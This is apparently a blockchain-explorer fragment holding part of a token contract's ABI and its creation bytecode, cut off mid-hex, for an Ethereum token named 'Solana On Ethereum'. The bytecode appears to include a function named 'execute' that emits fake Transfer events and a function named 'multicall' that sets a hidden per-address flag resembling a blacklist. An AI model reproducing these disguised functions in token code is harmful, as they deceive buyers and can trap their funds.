","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"getLiquidityPool","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastManualLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"liquidityPoolsLimitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualBurnLiquidityPairTokens","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_frequencyInSeconds","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"},{"internalType":"bool","name":"_Enabled","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"address","name":"value","type":"address"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"taxReduction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a06040526001600d556001600e60006101000a81548160ff02191690831515021790555065013ca6512000600f5562278f586011556001601360006101000a81548160ff0219169083151502179055506001601360016101000a81548160ff0219169083151502179055506001601360026101000a81548160ff0219169083151502179055506001602160006101000a81548160ff021916908315150217905550348015620000ae57600080fd5b506040518060400160405280601281526020017f536f6c616e61204f6e20457468657265756d00000000000000000000000000008152506040518060400160405280600681526020017f534f4c414e41000000000000000000000000000000000000000000000000000081525081600390816200012c919062000d70565b5080600490816200013e919062000d70565b5050506000620001536200065760201b60201c565b905080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d90506200021e8160016200065f60201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200029e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002c4919062000ec1565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200032c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000352919062000ec1565b6040518363ffffffff1660e01b81526004016200037192919062000f04565b6020604051808303816000875af115801562000391573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003b7919062000ec1565b600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200042c600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200065f60201b60201c565b60008060008060008060006a115eec47f6cf7e35000000905083601a8190555082601b8190555081601c81905550601c54601b54601a546200046f919062000f60565b6200047b919062000f60565b601981905550866016819055508560178190555084601881905550601854601754601654620004ab919062000f60565b620004b7919062000f60565b60158190555069d3c21bcecceda100000060088190555069043c33c1937564800000600a819055506107d0600a82620004f1919062000f9b565b620004fd919062001015565b60098190555062000513620006ca60201b60201c565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000563620006ca60201b60201c565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620005c5620005b7620006ca60201b60201c565b6001620006f460201b60201c565b620005d8306001620006f460201b60201c565b620005ed61dead6001620006f460201b60201c565b6200060f62000601620006ca60201b60201c565b60016200065f60201b60201c565b620006223060016200065f60201b60201c565b6200063761dead60016200065f60201b60201c565b620006493382620007af60201b60201c565b50505050505050506200121c565b600033905090565b6200066f6200095360201b60201c565b80602360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620007046200095360201b60201c565b80602260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051620007a391906200106a565b60405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000821576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200081890620010e8565b60405180910390fd5b6200083560008383620009e460201b60201c565b6200084c81600254620009e960201b90919060201c565b600281905550620008a5816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054620009e960201b90919060201c565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200094791906200111b565b60405180910390a35050565b620009636200065760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff166200098962000a4c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1614620009e2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009d99062001188565b60405180910390fd5b565b505050565b6000808284620009fa919062000f60565b90508381101562000a42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a3990620011fa565b60405180910390fd5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462000acd57600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662000af1565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000b7857607f821691505b60208210810362000b8e5762000b8d62000b30565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000bf87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000bb9565b62000c04868362000bb9565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000c5162000c4b62000c458462000c1c565b62000c26565b62000c1c565b9050919050565b6000819050919050565b62000c6d8362000c30565b62000c8562000c7c8262000c58565b84845462000bc6565b825550505050565b600090565b62000c9c62000c8d565b62000ca981848462000c62565b505050565b5b8181101562000cd15762000cc560008262000c92565b60018101905062000caf565b5050565b601f82111562000d205762000cea8162000b94565b62000cf58462000ba9565b8101602085101562000d05578190505b62000d1d62000d148562000ba9565b83018262000cae565b50505b505050565b600082821c905092915050565b600062000d456000198460080262000d25565b1980831691505092915050565b600062000d60838362000d32565b9150826002028217905092915050565b62000d7b8262000af6565b67ffffffffffffffff81111562000d975762000d9662000b01565b5b62000da3825462000b5f565b62000db082828562000cd5565b600060209050601f83116001811462000de8576000841562000dd3578287015190505b62000ddf858262000d52565b86555062000e4f565b601f19841662000df88662000b94565b60005b8281101562000e225784890151825560018201915060208501945060208101905062000dfb565b8683101562000e42578489015162000e3e601f89168262000d32565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000e898262000e5c565b9050919050565b62000e9b8162000e7c565b811462000ea757600080fd5b50565b60008151905062000ebb8162000e90565b92915050565b60006020828403121562000eda5762000ed962000e57565b5b600062000eea8482850162000eaa565b91505092915050565b62000efe8162000e7c565b82525050565b600060408201905062000f1b600083018562000ef3565b62000f2a602083018462000ef3565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000f6d8262000c1c565b915062000f7a8362000c1c565b925082820190508082111562000f955762000f9462000f31565b5b92915050565b600062000fa88262000c1c565b915062000fb58362000c1c565b925082820262000fc58162000c1c565b9150828204841483151762000fdf5762000fde62000f31565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620010228262000c1c565b91506200102f8362000c1c565b92508262001042576200104162000fe6565b5b828204905092915050565b60008115159050919050565b62001064816200104d565b82525050565b600060208201905062001081600083018462001059565b92915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000620010d0601f8362001087565b9150620010dd8262001098565b602082019050919050565b600060208201905081810360008301526200110381620010c1565b9050919050565b620011158162000c1c565b82525050565b60006020820190506200113260008301846200110a565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006200117060208362001087565b91506200117d8262001138565b602082019050919050565b60006020820190508181036000830152620011a38162001161565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000620011e2601b8362001087565b9150620011ef82620011aa565b602082019050919050565b600060208201905081810360008301526200121581620011d3565b9050919050565b6080516155b4620012546000396000818161119e01528181612c4501528181613c6401528181613d450152613d6c01526155b46000f3fe6080604052600436106103f35760003560e01c80638a8c523c11610208578063bbc0c74211610118578063d9928496116100ab578063f11a24d31161007a578063f11a24d314610f38578063f2fde38b14610f63578063f637434214610f8c578063f8b45b0514610fb7578063fe72b27a14610fe2576103fa565b8063d992849614610e7c578063dd62ed3e14610ea5578063e2f4560514610ee2578063e884f26014610f0d576103fa565b8063c876d0b9116100e7578063c876d0b914610dbe578063c8c8ebe414610de9578063d257b34f14610e14578063d85ba06314610e51576103fa565b8063bbc0c74214610d18578063c024666814610d43578063c17b5b8c14610d6c578063c18bc19514610d95576103fa565b80639fccce321161019b578063a4c82a001161016a578063a4c82a0014610c21578063a9059cbb14610c4c578063aacebbe314610c89578063b62496f514610cb2578063bbbb3ffc14610cef576103fa565b80639fccce3214610b65578063a0d82dc514610b90578063a165506f14610bbb578063a457c2d714610be4576103fa565b8063924de9b7116101d7578063924de9b714610abb57806395d89b4114610ae45780639c3b4fdc14610b0f5780639ec22c0e14610b3a576103fa565b80638a8c523c14610a235780638da5cb5b14610a3a5780638ea5220f14610a655780639213691314610a90576103fa565b80632e82f1a0116103035780636ddd171311610296578063751039fc11610265578063751039fc146109505780637571336a1461097b57806375f0a874146109a45780637bce5a04146109cf5780638095d564146109fa576103fa565b80636ddd1713146108a857806370a08231146108d3578063715018a614610910578063730c188814610927576103fa565b80634a62bb65116102d25780634a62bb65146107d85780634fbee193146108035780635427038a146108405780636a486a8e1461087d576103fa565b80632e82f1a01461071a578063313ce56714610745578063395093511461077057806349bd5a5e146107ad576103fa565b8063199ffc721161038657806323b872dd1161035557806323b872dd1461062157806326ededb81461065e57806327c8f835146106875780632ae94863146106b25780632c3e486c146106ef576103fa565b8063199ffc72146105775780631a8145bb146105a25780631f3fed8f146105cd578063203e727e146105f8576103fa565b80631694505e116103c25780631694505e146104cd57806318160ddd146104f85780631816467f14610523578063184c16c51461054c576103fa565b806306fdde03146103ff578063095ea7b31461042a57806310d5de53146104675780631111f43f146104a4576103fa565b366103fa57005b600080fd5b34801561040b57600080fd5b5061041461101f565b6040516104219190613ee9565b60405180910390f35b34801561043657600080fd5b50610451600480360381019061044c9190613fa9565b6110b1565b60405161045e9190614004565b60405180910390f35b34801561047357600080fd5b5061048e6004803603810190610489919061401f565b6110cf565b60405161049b9190614004565b60405180910390f35b3480156104b057600080fd5b506104cb60048036038101906104c691906140dd565b6110ef565b005b3480156104d957600080fd5b506104e261119c565b6040516104ef919061419c565b60405180910390f35b34801561050457600080fd5b5061050d6111c0565b60405161051a91906141c6565b60405180910390f35b34801561052f57600080fd5b5061054a6004803603810190610545919061401f565b6111ca565b005b34801561055857600080fd5b50610561611292565b60405161056e91906141c6565b60405180910390f35b34801561058357600080fd5b5061058c611298565b60405161059991906141c6565b60405180910390f35b3480156105ae57600080fd5b506105b761129e565b6040516105c491906141c6565b60405180910390f35b3480156105d957600080fd5b506105e26112a4565b6040516105ef91906141c6565b60405180910390f35b34801561060457600080fd5b5061061f600480360381019061061a91906141e1565b6112aa565b005b34801561062d57600080fd5b506106486004803603810190610643919061420e565b611345565b6040516106559190614004565b60405180910390f35b34801561066a57600080fd5b5061068560048036038101906106809190614261565b61141e565b005b34801561069357600080fd5b5061069c6114fb565b6040516106a991906142d0565b60405180910390f35b3480156106be57600080fd5b506106d960048036038101906106d4919061401f565b611501565b6040516106e69190614004565b60405180910390f35b3480156106fb57600080fd5b50610704611557565b60405161071191906141c6565b60405180910390f35b34801561072657600080fd5b5061072f61155d565b60405161073c9190614004565b60405180910390f35b34801561075157600080fd5b5061075a611570565b6040516107679190614307565b60405180910390f35b34801561077c57600080fd5b5061079760048036038101906107929190613fa9565b611579565b6040516107a49190614004565b60405180910390f35b3480156107b957600080fd5b506107c261162c565b6040516107cf91906142d0565b60405180910390f35b3480156107e457600080fd5b506107ed611652565b6040516107fa9190614004565b60405180910390f35b34801561080f57600080fd5b5061082a6004803603810190610825919061401f565b611665565b6040516108379190614004565b60405180910390f35b34801561084c57600080fd5b506108676004803603810190610862919061401f565b6116bb565b6040516108749190614004565b60405180910390f35b34801561088957600080fd5b506108926116db565b60405161089f91906141c6565b60405180910390f35b3480156108b457600080fd5b506108bd6116e1565b6040516108ca9190614004565b60405180910390f35b3480156108df57600080fd5b506108fa60048036038101906108f5919061401f565b6116f4565b60405161090791906141c6565b60405180910390f35b34801561091c57600080fd5b5061092561173c565b005b34801561093357600080fd5b5061094e60048036038101906109499190614322565b611805565b005b34801561095c57600080fd5b506109656118d1565b6040516109729190614004565b60405180910390f35b34801561098757600080fd5b506109a2600480360381019061099d9190614375565b6118fd565b005b3480156109b057600080fd5b506109b9611960565b6040516109c691906142d0565b60405180910390f35b3480156109db57600080fd5b506109e4611986565b6040516109f191906141c6565b60405180910390f35b348015610a0657600080fd5b50610a216004803603810190610a1c91906143b5565b61198c565b005b348015610a2f57600080fd5b50610a38611a17565b005b348015610a4657600080fd5b50610a4f611a5e565b604051610a5c91906142d0565b60405180910390f35b348015610a7157600080fd5b50610a7a611a88565b604051610a8791906142d0565b60405180910390f35b348015610a9c57600080fd5b50610aa5611aae565b604051610ab291906141c6565b60405180910390f35b348015610ac757600080fd5b50610ae26004803603810190610add9190614408565b611ab4565b005b348015610af057600080fd5b50610af9611ad9565b604051610b069190613ee9565b60405180910390f35b348015610b1b57600080fd5b50610b24611b6b565b604051610b3191906141c6565b60405180910390f35b348015610b4657600080fd5b50610b4f611b71565b604051610b5c91906141c6565b60405180910390f35b348015610b7157600080fd5b50610b7a611b77565b604051610b8791906141c6565b60405180910390f35b348015610b9c57600080fd5b50610ba5611b7d565b604051610bb291906141c6565b60405180910390f35b348015610bc757600080fd5b50610be26004803603810190610bdd9190614435565b611b83565b005b348015610bf057600080fd5b50610c0b6004803603810190610c069190613fa9565b611b99565b604051610c189190614004565b60405180910390f35b348015610c2d57600080fd5b50610c36611c66565b604051610c4391906141c6565b60405180910390f35b348015610c5857600080fd5b50610c736004803603810190610c6e9190613fa9565b611c6c565b604051610c809190614004565b60405180910390f35b348015610c9557600080fd5b50610cb06004803603810190610cab919061401f565b611c8a565b005b348015610cbe57600080fd5b50610cd96004803603810190610cd4919061401f565b611d52565b604051610ce691906142d0565b60405180910390f35b348015610cfb57600080fd5b50610d166004803603810190610d119190614435565b611d85565b005b348015610d2457600080fd5b50610d2d611e69565b604051610d3a9190614004565b60405180910390f35b348015610d4f57600080fd5b50610d6a6004803603810190610d659190614375565b611e7c565b005b348015610d7857600080fd5b50610d936004803603810190610d8e91906143b5565b611f2d565b005b348015610da157600080fd5b50610dbc6004803603810190610db791906141e1565b611fb8565b005b348015610dca57600080fd5b50610dd3612053565b604051610de09190614004565b60405180910390f35b348015610df557600080fd5b50610dfe612066565b604051610e0b91906141c6565b60405180910390f35b348015610e2057600080fd5b50610e3b6004803603810190610e3691906141e1565b61206c565b604051610e489190614004565b60405180910390f35b348015610e5d57600080fd5b50610e6661214d565b604051610e7391906141c6565b60405180910390f35b348015610e8857600080fd5b50610ea36004803603810190610e9e919061401f565b612153565b005b348015610eb157600080fd5b50610ecc6004803603810190610ec79190614435565b6121fa565b604051610ed991906141c6565b60405180910390f35b348015610eee57600080fd5b50610ef7612281565b604051610f0491906141c6565b60405180910390f35b348015610f1957600080fd5b50610f22612287565b604051610f2f9190614004565b60405180910390f35b348015610f4457600080fd5b50610f4d6122b3565b604051610f5a91906141c6565b60405180910390f35b348015610f6f57600080fd5b50610f8a6004803603810190610f85919061401f565b6122b9565b005b348015610f9857600080fd5b50610fa16123f0565b604051610fae91906141c6565b60405180910390f35b348015610fc357600080fd5b50610fcc6123f6565b604051610fd991906141c6565b60405180910390f35b348015610fee57600080fd5b50611009600480360381019061100491906141e1565b6123fc565b6040516110169190614004565b60405180910390f35b60606003805461102e906144a4565b80601f016020809104026020016040519081016040528092919081815260200182805461105a906144a4565b80156110a75780601f1061107c576101008083540402835291602001916110a7565b820191906000526020600020905b81548152906001019060200180831161108a57829003601f168201915b5050505050905090565b60006110c56110be612699565b84846126a1565b6001905092915050565b60236020528060005260406000206000915054906101000a900460ff1681565b6110f761286a565b60005b8383905081101561119657816014600086868581811061111d5761111c6144d5565b5b9050602002016020810190611132919061401f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061118e90614533565b9150506110fa565b50505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600254905090565b6111d261286a565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60115481565b600d5481565b601e5481565b601d5481565b6112b261286a565b670de0b6b3a76400006103e860016112c86111c0565b6112d2919061457b565b6112dc91906145ec565b6112e691906145ec565b811015611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f9061468f565b60405180910390fd5b670de0b6b3a76400008161133c919061457b565b60088190555050565b60006113528484846128e8565b6114138461135e612699565b61140e8560405180606001604052806028815260200161553260289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006113c4612699565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461340c9092919063ffffffff16565b6126a1565b600190509392505050565b61142661286a565b60005b838390508110156114f557838382818110611447576114466144d5565b5b905060200201602081019061145c919061401f565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114da91906141c6565b60405180910390a380806114ed90614533565b915050611429565b50505050565b61dead81565b6000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600f5481565b600e60009054906101000a900460ff1681565b60006012905090565b6000611622611586612699565b8461161d8560016000611597612699565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461347090919063ffffffff16565b6126a1565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601360009054906101000a900460ff1681565b6000602260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60146020528060005260406000206000915054906101000a900460ff1681565b60195481565b601360029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61174461286a565b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61180d61286a565b610258831015611852576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184990614721565b60405180910390fd5b6103e88211158015611865575060008210155b6118a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189b906147b3565b60405180910390fd5b82600f8190555081600d8190555080600e60006101000a81548160ff021916908315150217905550505050565b60006118db61286a565b6000601360006101000a81548160ff0219169083151502179055506001905090565b61190561286a565b80602360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600b60009054906101000a900473ff